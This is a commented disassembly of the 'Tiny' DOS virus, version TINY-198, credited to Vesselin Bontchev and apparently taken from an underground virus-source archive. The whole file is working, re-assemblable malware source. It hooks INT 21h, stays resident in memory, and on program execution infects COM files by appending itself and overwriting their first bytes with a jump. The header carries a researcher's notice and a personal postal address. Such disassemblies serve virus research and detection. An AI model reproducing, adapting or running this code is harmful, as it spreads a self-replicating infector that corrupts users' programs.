Underground/Underground CD1.iso/virii/zrodla/t/tiny-198.asm

Assembly Source File | 1998-01-14 | 5.0 KB | 199 lines

    page    ,132

    name    TINY198

    title    The 'Tiny' virus, version TINY-198

    .radix    16



; ╔══════════════════════════════════════════════════════════════════════════╗

; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║

; ║  Telephone: Private: [phone], Office: [phone] ext. 255         ║

; ║                                         ║

; ║             The 'Tiny' Virus, version TINY-198                  ║

; ║            Disassembled by Vesselin Bontchev, July 1990         ║

; ║                                         ║

; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║

; ║                                         ║

; ║     This listing is only to be made available to virus researchers      ║

; ║           or software writers on a need-to-know basis.          ║

; ╚══════════════════════════════════════════════════════════════════════════╝



; The disassembly has been tested by re-assembly using MASM 5.0.



code    segment

    assume    cs:code, ds:code



    org    100



seg_60    equ    600

v_len    equ    v_end-v_entry



start:

    jmp    v_entry     ; Jump to virus code

    db    'M'             ; Virus signature

    mov    ax,4C00     ; Program terminate

    int    21



v_entry:

    call    self        ; Determine the start addres of the virus body

self:

    pop    si

    sub    si,3



    push    ax        ; Save AX (to keep programs as DISKCOPY happy)



; Check whether the virus is already in memory and just run the program if so:



    mov    ah,0E9

    int    21



    mov    di,seg_60    ; Point ES:DI at 0000:0600h (i.e, segment 60h)

    xor    cx,cx        ; ES := 0

    mov    es,cx

    mov    cl,v_len    ; CX := virus length

    rep    movsb        ; Move the virus body there



; Transfer control to cont: by PUSHing its address

; on the stack and executing RETF:



    push    es

    mov    ax,cont-v_entry+seg_60

    push    ax

    retf



; The original first 4 bytes of the infected file:



first4    db    0EBh, 2, 90, 90



; Resume execution from here (but already in segment 60h):



cont:



; Install new INT 21h handler and move the old one at INT 32h:



    mov    di,21*4

    mov    cl,2

    mov    ax,int_21-v_entry+seg_60

    cld

lp:

    push    word ptr es:[di]    ; Get old handler's address

    pop    word ptr es:[di+(32-21)*4]    ; Move it at INT 32h

    stosw            ; Install the new one

    mov    ax,cs

    loop    lp        ; Loop until done



; Save the original first 4 bytes of the infected program on the stack:



    push    word ptr cs:[first4-v_entry+seg_60]

    push    word ptr cs:[first4+2-v_entry+seg_60]



run_pgm:

    mov    di,offset start ; Point DI at program's start

    pop    word ptr [di+2] ; Restore the first 4 bytes of the program

    pop    word ptr [di]

    pop    ax        ; Restore the original value of AX

    push    ds

    push    ds        ; ES := DS

    pop    es

    push    di        ; Push 100h on the stack

    retf



mem_chk:



; Push the original first 4 bytes of the infected program on the stack:



    push    word ptr [si+first4-v_entry]

    push    word ptr [si+first4+2-v_entry]

    jmp    run_pgm     ; And run the original program



int_21:             ; New INT 21h handler

    cmp    ah,0E9        ; Memory check?

    je    mem_chk     ; If infected, run the original program

    cmp    ax,4B00     ; EXEC function call?

    jne    end_21        ; Exit if not



    push    ax        ; Save registers used

    push    bx

    push    cx

    push    dx

    push    di

    push    ds

    push    es



    push    cs        ; ES := CS

    pop    es



    mov    ax,3D02     ; Open the file for both reading and writting

    int    32

    jc    end_exec    ; Exit on error

    mov    bx,ax        ; Save the file handle in BX



    mov    ah,3F        ; Read the first 4 bytes of the file

    mov    cx,4        ; 4 bytes to read

    mov    dx,first4-v_entry+seg_60    ; Put them in first4

    mov    di,dx        ; Save first4 address in DI

    push    cs        ; DS := CS

    pop    ds

    int    32        ; Do it



; Check whether the file is already infected or is an .EXE file.

; The former contains the character `M' in its 3rd byte and

; the latter contains it either in the 0th or in the 1st byte.



    push    di        ; Save DI

    mov    al,'M'          ; Look for `M'

    repne    scasb

    pop    di        ; Restore DI

    je    close        ; Exit if file not suitable for infection



    mov    ax,4202     ; Seek to the end of file

    xor    cx,cx

    xor    dx,dx

    int    32        ; Do it



    push    ax        ; Save file length



    mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h

    mov    cl,v_len    ; Length of virus body

    mov    ah,40        ; Append virus to file

    int    32        ; Do it



    mov    ax,4200     ; Seek to the file beginning

    xor    cx,cx

    xor    dx,dx

    int    32        ; Do it



    mov    dx,di        ; Point DX at first4

    mov    al,0E9        ; Near JMP opcode

    stosb            ; Form the first instruction of the file

    pop    ax        ; Restore file length in AX

    sub    ax,3        ; Subtract 3 (first instruction length)

    stosw            ; Form the JMP's opperand

    mov    al,'M'          ; Add a `M' character to mark the file

    stosb            ;  as infected



    mov    cl,4        ; Overwrite the first 4 bytes of the file

    mov    ah,40

    int    32        ; Do it



close:

    mov    ah,3E        ; Close the file

    int    32



end_exec:

    pop    es        ; Restore used registers

    pop    ds

    pop    di

    pop    dx

    pop    cx

    pop    bx

    pop    ax



; Exit through the original INT 21h handler:



end_21:

    jmp    dword ptr cs:[32*4]



v_end    equ    $        ; End of virus body



code    ends

    end    start